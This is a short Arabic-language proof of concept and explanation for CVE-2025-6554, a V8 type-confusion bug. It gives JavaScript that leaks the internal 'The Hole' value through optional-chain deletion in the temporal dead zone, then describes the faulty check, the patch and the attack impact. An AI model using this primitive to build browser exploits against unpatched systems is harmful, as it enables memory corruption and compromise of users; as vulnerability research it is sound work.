
إثبات المفهوم لـ CVE-2025-6554: ارتباك نوع محرك JavaScript V8 عبر تجاوز TDZ في حذف السلسلة الاختيارية، مما يتيح هروب The Hole لفساد الذاكرة.
function leak_hole() {
let x;
delete x?.[y]?.a;
return y;
let y;
}
function pwn() {
let hole = leak_hole();
%DebugPrint(hole);
}
pwn();
تم الوصول إلى المتغير y قبل الإعلان عنه. في العادة، يجب أن يؤدي هذا إلى خطأ ReferenceError (المنطقة الميتة المؤقتة TDZ)، لكن في الإصدارات الأقدم من V8، عندما يُدمج مع delete x?.[y]، فشل الفحص وأعاد القيمة الداخلية الاحتياطية "The Hole".
كان V8 يفحص TDZ مرة واحدة فقط، ثم يفترض خطأً أن y صالح. وهذا سمح لـ "The Hole" بالتسرب إلى كود المستخدم.
يفرض التصحيح فحصًا جديدًا لـ TDZ (ThrowReferenceErrorIfHole) في كل وصول، مما يضمن أن y قبل التهيئة يرمي خطأً دائمًا.
التأثير: يمكن للمهاجمين التقاط "The Hole" وإساءة استخدامه للخلط بين الأنواع (type confusion)، أو حيل المكدس، أو تجاوز النطاق.